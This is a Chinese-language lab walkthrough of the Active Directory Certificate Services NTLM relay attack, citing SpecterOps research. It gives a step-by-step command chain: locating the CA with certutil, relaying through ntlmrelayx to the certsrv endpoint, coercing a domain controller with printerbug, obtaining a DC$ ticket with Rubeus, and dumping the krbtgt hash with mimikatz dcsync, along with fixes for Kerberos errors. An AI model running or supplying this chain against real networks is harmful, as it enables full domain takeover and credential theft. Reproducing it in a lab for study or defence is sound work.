一、漏洞简单介绍:
adcs支持几种基于HTTP的通过管理员可以安装的其他AD CS服务器角色功能。这些基于http的证书注册接口都是易受攻击的NTLM中继攻击,因为没有启用NTLM中继保护,而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此更安全的协议(如 Kerberos)无法使用。
二、环境部署及介绍
(不一定需要辅dc,任意域内机器安装adcs即可)
角色 | IP | 系统信息 |
攻击机 | 192.168.237.131 | Kali |
DC主机 | 192.168.237.22 | win2012R2 |
辅DC | 192.168.237.24 | win2012R2 |
PS:不能relay自身否则脚本会报错
在dc辅控上装上adcs(这里我主dc也装了),勾选1,4默认安装即可
同时看一下dc和dc辅控是否在domain computers组里面,不在就自己加入即可,否则会利用失败
三、漏洞利用
域内定位ca机器:certutil -config - -ping
安装impacket旧版本没有adcs命令:https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
攻击机器开启监听:python3 ntlmrelayx.py -t http://192.168.237.22/certsrv/certfnsh.asp -smb2support --adcs
利用任意的触发机器账号认证,使辅域进行强连回来,这里使用的是打印机服务:python printerbug.py domain/user:password@192.168.237.22 192.168.237.131
ntlmrelayx成功进行relay,并获取到证书信息
利用上面获取到的证书,获取tgt并注入:
Rubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ppt
出现了如何下报错:KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP
这里解决打开组策略,计算机配置Windows 设置安全设置本地策略安全选项,找到配置 Kerberos 允许的加密类型,将下面全部勾选即可
再次重新测试发现成功获取到了TGT
然后利用mimikatz,进行导出hash:KERBEROS::List lsadump::dcsync /user:krbtgt
补充:获取TGT的时候遇到的是KRB-ERROR (62) : KDC_ERR_CLIENT_NOT_TRUSTED这种报错,有可能是时间不同步的原因,可重启环境重新测试。
参考链接:
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://mp.weixin.qq.com/s/wW94EiPiOmJsWeFR64Dg1A